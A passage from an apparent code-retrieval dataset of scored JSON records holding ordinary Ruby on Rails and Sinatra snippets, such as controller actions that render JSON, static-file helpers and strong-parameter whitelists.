HEAD}.include?(env[REQ_METHOD]) &&\n asset(env[PATH_INFO])\n\n filepath ? (env[GIN_STATIC] = filepath) :\n env.delete(GIN_STATIC)\n\n !!env[GIN_STATIC]\n end", "title": "" }, { "docid": "2793e774c1c05d9c4e1ef84bc742ca8d", "score": "0.54206187", "text": "def index\n if params[:type_id].nil? or params[:type_id].empty?\n @sites = Site.all # path: /types\n else\n @sites = Type.find(params[:type_id]).sites # path: /types/id/sites\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "80116c34a45ce3a25726eb83aa5de2d8", "score": "0.54196763", "text": "def index\n @insured_types = InsuredType.all\n @title = \"Types of Insured Patients\"\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @insured_types }\n end\n end", "title": "" }, { "docid": "b63a0dbb9ef2d1e5f743a4caed61c187", "score": "0.54125494", "text": "def index\n routes = Route.all\n\n if routes\n render json: routes, status: 200, root: false\n else\n render json: { errors: routes.errors }, status: 404\n end\n end", "title": "" }, { "docid": "82b350df03e5d31ca4d092ac4cd538dd", "score": "0.5410342", "text": "def show\n @site = Site.find(params[:id])\n render json: @site\n end", "title": "" }, { "docid": "c02e6123d4f823b1d635f1ad0fd9e4ce", "score": "0.5409961", "text": "def index\n @sites = Site.order(\"created_at\").page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "6c24eef0929dc1cb496ecf56f27312b9", "score": "0.540017", "text": "def index\n @class_resources = ClassResource.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @class_resources }\n end\n end", "title": "" }, { "docid": "af689b238fe4146a3987278b97aca131", "score": "0.5395864", "text": "def index\n @surveys = Survey.all\n render json: @surveys\n end", "title": "" }, { "docid": "0649b9ec888ac15e4ee5872d5f286ff4", "score": "0.53887665", "text": "def index\n render :text => \"SuperFinderResources = #{self.generate.to_json}\"\n end", "title": "" }, { "docid": "b2ebbe43c1dea47dc9bcc777131fc691", "score": "0.53875214", "text": "def index\n render json: Swagger::Blocks.build_root_json(SWAGGERED_CLASSES).to_json\n end", "title": "" }, { "docid": "9044cb2ba21c78afe6e3adc6cf30472b", "score": "0.53765565", "text": "def index\n @projects = Project.all\n @static_pages = StaticPage.published\n end", "title": "" }, { "docid": "9506ffc114b76251bf2ab5a123ad5ffe", "score": "0.53744185", "text": "def assets(query = {})\n self.class.get(\"/assets.json\", :query => query)\n end", "title": "" }, { "docid": "4684cb0638737b4702c9dc81941d3e94", "score": "0.5367603", "text": "def index\n @resources = Resource.joins(:skills).where(\"skills.name LIKE ?\", \"Free Meals\").public.uniq\n\n respond_to do |format|\n format.json do\t\n\t\t\t # render :json => custom_json_for(@resources)\n\t\t\t render :json => @resources.to_json(:include => [:organization, :resource_events])\n\t\t\tend\n end\n end", "title": "" }, { "docid": "c8fbb4b21b4aed490a4813806aea6bed", "score": "0.53635675", "text": "def index\n get_user\n @sites = Site.find_by_user_id(@current_user.id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "cb4405722c7d7410e4ba5f004810d9e8", "score": "0.5362238", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "cb4405722c7d7410e4ba5f004810d9e8", "score": "0.5362238", "text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "7b44a0aee9f14f0282911086731c29b2", "score": "0.535872", "text": "def index\n @my_studio_infos = MyStudio::Info.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_studio_infos }\n end\n end", "title": "" }, { "docid": "3320b08292bec150db23fd791f2a8629", "score": "0.53565073", "text": "def get_global_surveys\n\t\t@surveys = Survey.global_surveys\n\t render \"/api/v1/surveys/surveys.json\"\t\t\n\tend", "title": "" }, { "docid": "dab17cdf68314e693ec3883e48145e1a", "score": "0.5329938", "text": "def statistics\n @statistics ||= self.class.get(\"/statistics.json\")\n end", "title": "" }, { "docid": "101ae17da17aba126f5a3cff3e513b58", "score": "0.5325106", "text": "def show\n @static_response = StaticResponse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @static_response.body }\n format.xml { render xml: @static_response.body }\n end\n end", "title": "" }, { "docid": "86199f180cefc5b298b2d1b7581a6aa1", "score": "0.5324793", "text": "def index\n @api_stadia = Api::Stadium.all\n render json: @api_stadia\n end", "title": "" }, { "docid": "422b8ac0d82c06f362d28f3e4dd401c3", "score": "0.5323876", "text": "def index\n clear_patient\n @site_configurations = SiteConfiguration.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @site_configurations }\n end\n end", "title": "" }, { "docid": "f4a3b502eff2a04e8d939fe21003a99c", "score": "0.5314495", "text": "def request_all\n # listing all institutions is public data, but still\n # we require login to protect from unwanted requests\n institution_list = Institution.get_all_institutions_listing\n respond_to do |format|\n format.json do\n render json: institution_list\n end\n end\n end", "title": "" }, { "docid": "c8144f7acf368d7f063100322f1bf5ab", "score": "0.53066736", "text": "def index\n @schools = School.all\n\n render json: @schools\n end", "title": "" }, { "docid": "9e514bb30fea71683f81fb3717bd37d3", "score": "0.5304289", "text": "def static_dirs\n @static_dirs ||= { '/static' => conf.static_dir }\n end", "title": "" }, { "docid": "cd24ee14364c310cb9bae33e5c1351e0", "score": "0.5302502", "text": "def index\n @sounds = Sound.all\n\n # @sounds = @sounds.map { |sound|\n # # p \"What is going\"\n # # p url_for(sound.soundfile)\n # sound.as_json.merge({ soundfile: url_for(sound.soundfile), filename: sound.soundfile.blob.filename })\n # }\n end", "title": "" }, { "docid": "1c96fd8fd5452762656da06f66e63f33", "score": "0.53023034", "text": "def show\n @site = Site.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @site }\n end\n #@sites = Site.all\n #@sites = @sites.to_json\n end", "title": "" }, { "docid": "6060553dc874b3f3e7592cbe7f6dfb61", "score": "0.5302302", "text": "def index\n render json: ::Swagger::Blocks.build_root_json(SWAGGERED_CLASSES)\n end", "title": "" }, { "docid": "161793d89766e4601142e9f272a80e6a", "score": "0.5298485", "text": "def index\n render json: Service.all\n end", "title": "" }, { "docid": "7958c0043c1d903b07a3406173f4dad1", "score": "0.5291767", "text": "def index\n\n site_storage = nil\n site_storage = SiteStorage.fetch_data(current_user).\n where(key: params[:site_storage_id]).first unless params[:site_storage_id].nil?\n\n redirect_back fallback_location: root_path and return if site_storage.nil?\n\n versions = site_storage.get_versions\n latest = SiteVersion.get_last(site_storage.key)\n partial = {\n name: 'site',\n scope: 'list',\n favorites: [\n SiteVersion.get_activated(site_storage.key),\n SiteVersion.get_deployed(site_storage.key),\n SiteVersion.get_published(site_storage.key),\n latest\n ],\n latest: latest,\n all_versions: versions,\n collection: [versions.paginate(page: params[:page], per_page: 15)]\n }\n\n partial[:site_types] = {}\n @partial = partial\n\n SiteType.all.order(:name).each { |type| @partial[:site_types][type.name.to_sym] = type.name }\n\n end", "title": "" }, { "docid": "fbed884270b83f85c568b0145d2153ed", "score": "0.5290727", "text": "def index\n @urls = Url.all\n\n render json: @urls\n end", "title": "" }, { "docid": "29ee532f706d649c1727651c525de459", "score": "0.5284546", "text": "def index\n render json: client.list\n end", "title": "" }, { "docid": "987b4282147a198cf1dd58f4f43f5be0", "score": "0.52717376", "text": "def index\n #not used\n @ratings = Rating.all\n render json: @ratings\n end", "title": "" }, { "docid": "b552236a4e38a191b5ce43bd142b0cf8", "score": "0.5270275", "text": "def static!\n return if (public_dir = settings.public_folder).nil?\n path = File.expand_path(\"#{public_dir}#{unescape(request.path_info)}\" )\n return unless File.file?(path)\n\n env['sinatra.static_file'] = path\n cache_control(*settings.static_cache_control) if settings.static_cache_control?\n send_file path, :disposition => nil\n end", "title": "" }, { "docid": "1c08fe78ad5d503243d8211afc07aaee", "score": "0.52702594", "text": "def show\n render json: @asset_class\n end", "title": "" }, { "docid": "272ce3fdbf37b1561d97c174349b9be2", "score": "0.5264928", "text": "def index\n respond_to do |format|\n format.html \n format.json { render json: @sounds }\n end\n end", "title": "" }, { "docid": "0a1b4bdfda3a4077aff3a4c4f6ae4496", "score": "0.5264476", "text": "def get_sites\n site_records = Offcourse::DiscourseSite.all\n return render json: site_records.as_json, root: false\n end", "title": "" }, { "docid": "0192e8179112876b086eeade86636103", "score": "0.5261167", "text": "def index\n if request.xhr?\n set_website_session(params[:show_all_websites])\n end\n website_id = session[:website] \n if website_id && (website =\tWebsite.find_by_id(website_id, :order => 'name'))\n @resource_types = website.resource_types.uniq\n else\n @resource_types = ResourceType.find(:all, :order => 'name')\n end\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @resource_types.to_xml }\n format.js\n end\n end", "title": "" }, { "docid": "c18ccca154433abf25a7b4b24e150f28", "score": "0.52609086", "text": "def index\n\t\t@students = Student.all\n\t\t@curriculums = Curriculum.all\n respond_to do |format|\n\t\t\tformat.html { render :index }\n\t\t\tformat.json { render json: Oj.dump(@students) }\n\t\tend\n end", "title": "" }, { "docid": "ae5c183a50fd0754602c895662227091", "score": "0.5258851", "text": "def my_albums_public_json\n return unless require_nothing\n my_albums_json_common(true)\n end", "title": "" }, { "docid": "c6006328690467090d008be0fdca44c5", "score": "0.52587676", "text": "def index\n @types = Type.all\n json_response(@types)\n end", "title": "" }, { "docid": "3f1f92514c03ad7d41f67380c95534ba", "score": "0.5254415", "text": "def index\n if current_user.admin\n @sites = Site.all\n else\n @sites = current_user.sites\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "6c41c3a7a90bf9ac0355a19fac52ba93", "score": "0.52543515", "text": "def getAllSchools\n\t \t@Schools = School.all\t \t\n\t \trender json: @Schools\n\tend", "title": "" }, { "docid": "c3d1ea8abe0de05afbc047ead590340e", "score": "0.5252415", "text": "def static!\n return if (public_dir = settings.public).nil?\n public_dir = File.expand_path(public_dir)\n\n path = File.expand_path(public_dir + unescape(request.path_info))\n return unless path.start_with?(public_dir) and File.file?(path)\n\n env['sinatra.static_file'] = path\n send_file path, :disposition => nil\n end", "title": "" }, { "docid": "6a1748b005a7ff9b2eea188a0d769835", "score": "0.52497715", "text": "def get_local_surveys\n\t\t@surveys = Survey.local_surveys\n\t render \"/api/v1/surveys/surveys.json\"\t\t\n\tend", "title": "" }, { "docid": "83267c75ffb3663008e8ee4bbd67d48c", "score": "0.5238896", "text": "def index\n @caches = Cache.all\n render json: @caches\n end", "title": "" }, { "docid": "b7b8f0cae382b90810748bf60bcf038d", "score": "0.52339274", "text": "def index\n @demandsites = Demandsite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @demandsites }\n end\n end", "title": "" }, { "docid": "c7b773664e5eac5d2f666f2283d31736", "score": "0.5232844", "text": "def index\n @holidaylocals = Holidaylocal.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @holidaylocals }\n end\n end", "title": "" }, { "docid": "a561dbdced28bebce3aacd285bfccdba", "score": "0.52323204", "text": "def create\n @static = Static.new(static_params)\n\n respond_to do |format|\n if @static.save\n format.html { redirect_to @static, notice: \"Static was successfully created.\" }\n format.json { render :show, status: :created, location: @static }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @static.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "500d9e847f5c79d14b8b27fead17b493", "score": "0.52315617", "text": "def index\n @user_sites = UserSite.where :user_id => session[:user_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @user_sites }\n end\n end", "title": "" }, { "docid": "f1718b897ae544075668268d3b79f8da", "score": "0.5226568", "text": "def index\n \t@title = \"Sites List\"\n @navinner = \"1\"\n @sites = Site.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sites }\n end\n end", "title": "" }, { "docid": "bf8b9d08aeed7033a26a444d8e7da766", "score": "0.5225166", "text": "def index\n @securities = Security.all\n\n render json: @securities\n end", "title": "" } ]
e561e11bcf379ef5dc139c210017366b
Only allow a list of trusted parameters through.
[ { "docid": "63c7079f900a9f0302391f69e679d636", "score": "0.0", "text": "def purchase_params\n params.require(:purchase).permit(:user_id, :product_id, :status)\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.74768823", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.71700543", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.7044907", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "55ec6c1cf1b67ffe1cee0d4fec651d18", "score": "0.7009515", "text": "def allowed_params(*list)\n list.flatten!\n @list_of_allowed_params ||= []\n @list_of_allowed_params += list.map(&:to_s)\n\n params.each do |key, value|\n next if @list_of_allowed_params.index(key.to_s).present?\n\n fail! \"Parameter :#{key} is not allowed\", key.to_sym\n end\n end", "title": "" }, { "docid": "505e334c1850c398069b6fb3948ce481", "score": "0.69897616", "text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.6773957", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.6758029", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "53d67b9c2ed1e0132c46653273fc708d", "score": "0.67139274", "text": "def whitelisted_args\n args.select(&:allowed)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.6638781", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "caf5e21ffb495f1a2566ca6a564a6fdb", "score": "0.6633307", "text": "def allowed_arguments(arguments); end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.6630876", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "c31ef48e8fd467d94158d7ac7f405a3f", "score": "0.65786487", "text": "def list_params\n params.permit(:id, :public_id, :name, :list, :visibility, values: [])\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.6551157", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6529035", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6529035", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "cac0774e508766d2f487cbca3db95df0", "score": "0.650781", "text": "def allow_params?\n definition[:param_tokens]\n end", "title": "" }, { "docid": "58d1451e57b0e767db2fc6721dfaa6be", "score": "0.64761394", "text": "def allowed_parameters\n parameters.keys\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.64282405", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.63983387", "text": "def filtered_parameters; end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.63592577", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.6339914", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.6327032", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.63192505", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "706df0e25391ed2b932f54a646bb0a10", "score": "0.6280703", "text": "def list_name_param opts={}\n params.require(:list).permit(:name)\n end", "title": "" }, { "docid": "839591b72f27e154e4840464f1f4684d", "score": "0.6278046", "text": "def whitelist=(lst)\n uri.querystring_params[\"whitelist\"] = lst.split(\",\").map(&:strip).reject{|e|e.blank?}\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.62771213", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "e64490ed35123aafa1b4627bd165517d", "score": "0.62693745", "text": "def allowed_params\n [:title, :description, :is_template, :template_id, :user_id, :color]\n end", "title": "" }, { "docid": "094cae2a77f3def05726eb7961449324", "score": "0.62682945", "text": "def allowed; end", "title": "" }, { "docid": "cc60076a498957ddcd05472aa576a2b1", "score": "0.62651163", "text": "def param_whitelist\n case action_name\n when 'create'\n [:type, :author_id, :participant_ids]\n else\n [:participant_ids]\n end\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.62642586", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.62642586", "text": "def check_params; true; end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.6229388", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.6229388", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.6213818", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "21e97a45d3f9fc907204c8dfd146be09", "score": "0.62028986", "text": "def required_params(*list)\n list.flatten!\n @list_of_allowed_params ||= []\n @list_of_allowed_params += list.map(&:to_s)\n list.map(&:to_s).each do |param|\n next if params[param].present?\n\n fail! \"Parameter :#{param} should be present\", param\n end\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.61983657", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.61918944", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "9ac9542f33069f9d46e4393194623b4c", "score": "0.61912215", "text": "def snippets_list_params\n params.require(:snippets_list).permit(:is_public, :tags)\n end", "title": "" }, { "docid": "69d3720ae33b0a9e88f3a951595e767f", "score": "0.6184765", "text": "def sanitize_parameters!(sanitizer, params)\n endian = params[:endian] || self.endian\n fields = params[:fields] || self.fields\n hide = params[:hide] || self.hide\n\n params[:endian] = endian unless endian.nil?\n params[:fields] = fields\n params[:hide] = hide\n\n # add default parameters\n default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n super(sanitizer, params)\n end", "title": "" }, { "docid": "a322581bdbf994c8ac99b2f8da40b18f", "score": "0.61772996", "text": "def user_params\n params.require(:user).permit(:first_name,:last_name,:email).tap do |whitelisted|\n p params[:user][:role_ids].reject { |c| c.empty? }\n whitelisted[:role_ids] = params[:user][:role_ids].reject { |c| c.empty? }\n end\nend", "title": "" }, { "docid": "9e289c8e3757ad76ffbd2a6991acef28", "score": "0.61578906", "text": "def allowed_params\n %i[\n user_defined_id_statelocal\n user_defined_id_cdc\n user_defined_id_nndss\n first_name\n middle_name\n last_name\n date_of_birth\n age\n sex\n white\n black_or_african_american\n american_indian_or_alaska_native\n asian\n native_hawaiian_or_other_pacific_islander\n ethnicity\n primary_language\n secondary_language\n interpretation_required\n nationality\n address_line_1\n foreign_address_line_1\n address_city\n address_state\n address_line_2\n address_zip\n address_county\n monitored_address_line_1\n monitored_address_city\n monitored_address_state\n monitored_address_line_2\n monitored_address_zip\n monitored_address_county\n foreign_address_city\n foreign_address_country\n foreign_address_line_2\n foreign_address_zip\n foreign_address_line_3\n foreign_address_state\n foreign_monitored_address_line_1\n foreign_monitored_address_city\n foreign_monitored_address_state\n foreign_monitored_address_line_2\n foreign_monitored_address_zip\n foreign_monitored_address_county\n primary_telephone\n primary_telephone_type\n secondary_telephone\n secondary_telephone_type\n email\n preferred_contact_method\n preferred_contact_time\n port_of_origin\n source_of_report\n source_of_report_specify\n flight_or_vessel_number\n flight_or_vessel_carrier\n port_of_entry_into_usa\n travel_related_notes\n additional_planned_travel_type\n additional_planned_travel_destination\n additional_planned_travel_destination_state\n additional_planned_travel_destination_country\n additional_planned_travel_port_of_departure\n date_of_departure\n date_of_arrival\n additional_planned_travel_start_date\n additional_planned_travel_end_date\n additional_planned_travel_related_notes\n last_date_of_exposure\n potential_exposure_location\n potential_exposure_country\n contact_of_known_case\n contact_of_known_case_id\n travel_to_affected_country_or_area\n was_in_health_care_facility_with_known_cases\n was_in_health_care_facility_with_known_cases_facility_name\n laboratory_personnel\n laboratory_personnel_facility_name\n healthcare_personnel\n healthcare_personnel_facility_name\n exposure_notes\n crew_on_passenger_or_cargo_flight\n monitoring_plan\n exposure_risk_assessment\n member_of_a_common_exposure_cohort\n member_of_a_common_exposure_cohort_type\n isolation\n jurisdiction_id\n assigned_user\n symptom_onset\n case_status\n ]\n end", "title": "" }, { "docid": "4f7be6ec5bf491c0125e1c2091de0a80", "score": "0.61395127", "text": "def place_allow_list_params\n params.permit(:place_id, :group_category_id, :enable)\n end", "title": "" }, { "docid": "3512da8c3cbc10950f1c278d883a22d0", "score": "0.6128934", "text": "def check_permit!\n tracker.find_call(:method => :permit!).each do |result|\n if params? result[:call].target and not result[:chain].include? :slice\n warn_on_permit! result\n end\n end\n end", "title": "" }, { "docid": "3ae7a4551c9ded91965010fecb51d76b", "score": "0.6116012", "text": "def validate_parameters(allow: [], required: nil, require_any_of: nil) # rubocop:disable Metrics/CyclomaticComplexity, Metrics/PerceivedComplexity\n if required\n raise ArgumentError, \"Expected required parameters as Array of Symbols, got #{required}\" unless required.is_a?(Array) && required.all? { |r| r.is_a?(Symbol) }\n raise ArgumentError, \"#{@__resource_name__}: `#{required}` must be provided\" unless @opts.is_a?(Hash) && required.all? { |req| @opts.key?(req) && !@opts[req].nil? && @opts[req] != \"\" }\n allow += required\n end\n\n if require_any_of\n raise ArgumentError, \"Expected required parameters as Array of Symbols, got #{require_any_of}\" unless require_any_of.is_a?(Array) && require_any_of.all? { |r| r.is_a?(Symbol) }\n raise ArgumentError, \"#{@__resource_name__}: One of `#{require_any_of}` must be provided.\" unless @opts.is_a?(Hash) && require_any_of.any? { |req| @opts.key?(req) && !@opts[req].nil? && @opts[req] != \"\" }\n allow += require_any_of\n end\n\n allow += %i(client_args stub_data aws_region aws_endpoint aws_retry_limit aws_retry_backoff resource_data)\n raise ArgumentError, \"Scalar arguments not supported\" unless defined?(@opts.keys)\n raise ArgumentError, \"Unexpected arguments found\" unless @opts.keys.all? { |a| allow.include?(a) }\n raise ArgumentError, \"Provided parameter should not be empty\" unless @opts.values.all? do |a|\n return true if a.instance_of?(Integer)\n return true if [TrueClass, FalseClass].include?(a.class)\n !a.empty?\n end\n true\n end", "title": "" }, { "docid": "356c5fd5dcbe9214f1330792fa2e18b5", "score": "0.61158365", "text": "def param_whitelist\n whitelist = [\n :name,\n :details,\n :completed,\n :started_at, :finished_at,\n :team_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:team_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "f19218511bb46b261576fd4a0359ddd0", "score": "0.6112491", "text": "def public_list_params\n params.require(:public_list).permit(:name, :description, places_attributes: [])\n end", "title": "" }, { "docid": "76ec9935ef327d0b5d1af534978cb4f8", "score": "0.6111488", "text": "def voter_list_params\n params.require(:voter_list).permit(:user_id, :selection_process_id, :estado, :search, :admission)\n end", "title": "" }, { "docid": "96a4c3e9d28624613a41897ea478af4c", "score": "0.6111325", "text": "def list_params\n params.require(:list).permit(:name, :description, :user_id)\n end", "title": "" }, { "docid": "b275e68d657aac7565b7da55922cbcae", "score": "0.6102179", "text": "def should_filter_params(*keys)\n ::ActiveSupport::Deprecation.warn(\"use: should filter_param\")\n keys.each do |key|\n should filter_param(key)\n end\n end", "title": "" }, { "docid": "5775dd2574b8acbba92a6a825c2a30b7", "score": "0.6079451", "text": "def allow_scopes(*args)\n @target.filterable_scopes = args\n end", "title": "" }, { "docid": "7e3b725e746658a932308b2245800100", "score": "0.6065513", "text": "def list_params\n params.require(:list).permit(:user_id)\n end", "title": "" }, { "docid": "b436ac15f83c93ec97a7852cc3cd560d", "score": "0.6064122", "text": "def list_params\n params.require(:list).permit(\n :name, :user_id, :location_ids => []\n )\n end", "title": "" }, { "docid": "f5b444bcf4dbe089582ac3c3cf81ca92", "score": "0.60615236", "text": "def price_list_params\n params.fetch(:price_list, {}).permit(PriceList::PERMITED_PARAMS)\n end", "title": "" }, { "docid": "d5df8448adfa675e6d25aeb23d7a5e34", "score": "0.6058738", "text": "def sanitize_query_fields\n allowed_fields = @list.property_index_keys\n return request.query_parameters.select {|key, val| allowed_fields.include?(key)}\n end", "title": "" }, { "docid": "61d793e7f8b92dfddfe9ee932db6bae5", "score": "0.60527927", "text": "def my_list_params\n params.require(:my_list).permit(:user_id, :query)\n end", "title": "" }, { "docid": "3da9117a80cdfd040f0f0ed9d3ffed55", "score": "0.60501283", "text": "def allowable_params(unfiltered_params)\n unfiltered_params.permit(:property_id, :branch_id, :client_name, :branch_name,\n :department, :reference_number, :address_name, :address_number, :address_street,\n :address2, :address3, :address4, :address_postcode, :country, :display_address,\n :property_bedrooms, :property_bathrooms, :property_ensuites, :property_reception_rooms,\n :property_kitchens, :display_property_type, :property_type, :property_style,\n :property_age, :floor_area, :floor_area_units, :property_feature1, :property_feature2,\n :property_feature3, :property_feature4, :property_feature5, :property_feature6,\n :property_feature7, :property_feature8, :property_feature9, :property_feature10,\n :price, :for_sale_poa, :price_qualifier, :property_tenure, :sale_by,\n :development_opportunity, :investment_opportunity, :estimated_rental_income,\n :availability, :main_summary, :full_description, :date_last_modified,\n :featured_property, :region_id, :latitude, :longitude,\n flags_attributes: [:title],\n images_attributes: [:url, :modified],\n floorplans_attributes: [:url, :modified],\n epc_graphs_attributes: [:url, :modified],\n epc_front_pages_attributes: [:url, :modified],\n brochures_attributes: [:url, :modified],\n virtual_tours_attributes: [:url, :modified],\n external_links_attributes: [:url, :description, :modified])\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6045103", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.6032686", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "25220437209ae6056988e50c38a01211", "score": "0.6025226", "text": "def trust_params\n trusts = params.select { |k, _v| k.starts_with?(\"vault_entry_\") }\n permitted_params = {}\n trusts.keys.each do |trust|\n permitted_params[trust] = [:id, :name, :notes, :document_id, agent_ids: [], trustee_ids: [], successor_trustee_ids: [], share_ids: [],\n share_with_contact_ids: []]\n end\n trusts.permit(permitted_params)\n end", "title": "" }, { "docid": "08a3b9a8de9dd7334ffe66919731cb94", "score": "0.60225105", "text": "def permit_params!(params)\n if @allow_all_params\n params.permit!\n elsif @allowed_params\n @allowed_params.each do |resource, attributes|\n if params[resource].respond_to? :permit\n params[resource] = params[resource].permit(*attributes)\n end\n end\n end\n end", "title": "" }, { "docid": "4aa2ef6967e8f3024acea2b3d1cfd9e5", "score": "0.6019055", "text": "def allow_list_all?\n false\n end", "title": "" }, { "docid": "45791845cef485d15b7014088dd0be8d", "score": "0.60152686", "text": "def allowed_params\n %i[title body]\n end", "title": "" }, { "docid": "cb7fc4ad3e08a4341c6395a2c154c575", "score": "0.6009825", "text": "def filter_params(_sub_object_attribute = nil)\n required = :returns_lbtt_party\n attribute_list = Lbtt::Party.attribute_list\n params.require(required).permit(attribute_list) if params[required]\n end", "title": "" }, { "docid": "cb7fc4ad3e08a4341c6395a2c154c575", "score": "0.6009825", "text": "def 